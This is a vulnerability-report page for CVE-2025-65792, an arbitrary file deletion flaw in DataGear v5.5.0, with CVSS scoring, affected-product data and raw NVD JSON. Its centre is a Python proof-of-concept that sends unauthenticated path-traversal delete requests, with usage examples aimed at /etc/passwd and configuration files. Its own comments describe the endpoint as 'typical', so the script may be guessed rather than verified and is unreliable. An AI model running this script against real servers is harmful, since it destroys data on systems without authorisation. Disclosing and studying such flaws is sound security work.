Security Vulnerability Report
中文
CVE-2025-65792 CVSS 9.1 CRITICAL

CVE-2025-65792

Published: 2025-12-10 17:15:55
Last Modified: 2025-12-17 18:14:58

Description

DataGear v5.5.0 is vulnerable to Arbitrary File Deletion.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:datagear:datagear:5.5.0:*:*:*:*:*:*:* - VULNERABLE
DataGear v5.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-65792 PoC - DataGear v5.5.0 Arbitrary File Deletion # Author: Security Researcher # Reference: https://github.com/X3J1n/datagear/issues/1 import requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit_file_deletion(target_url, file_to_delete): """ Exploit CVE-2025-65792: Arbitrary File Deletion in DataGear v5.5.0 Args: target_url: Base URL of the vulnerable DataGear instance file_to_delete: Path to the file to delete (can use ../ for path traversal) Returns: bool: True if deletion successful, False otherwise """ # Target endpoint for file deletion (typical DataGear API endpoint) delete_endpoint = f"{target_url.rstrip('/')}/api/file/delete" # Construct the malicious request headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/json', 'Accept': 'application/json' } # Payload with path traversal to delete arbitrary files payload = { 'filePath': file_to_delete, 'recursive': True } try: print(f"[*] Target: {target_url}") print(f"[*] Attempting to delete: {file_to_delete}") # Send the malicious request (no authentication required) response = requests.post( delete_endpoint, json=payload, headers=headers, verify=False, timeout=30 ) # Check response status if response.status_code == 200: print(f"[+] File deletion request sent successfully!") print(f"[+] Response: {response.text}") return True else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {str(e)}") return False def main(): if len(sys.argv) < 3: print("Usage: python cve-2025-65792.py <target_url> <file_to_delete>") print("Example: python cve-2025-65792.py http://localhost:8080 ../../../etc/passwd") print("Example: python cve-2025-65792.py http://localhost:8080 ../../data/config.properties") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit_file_deletion(target, file_path) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65792", "sourceIdentifier": "[email protected]", "published": "2025-12-10T17:15:54.670", "lastModified": "2025-12-17T18:14:57.957", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "DataGear v5.5.0 is vulnerable to Arbitrary File Deletion."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:datagear:datagear:5.5.0:*:*:*:*:*:*:*", "matchCriteriaId": "466EF39D-7C89-4CFF-9AE6-EF90EE21BB13"}]}]}], "references": [{"url": "https://gist.github.com/X3J1n/82b047efdbfd74c414a6d63339ad12fb", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/X3J1n/datagear/issues/1", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}]}}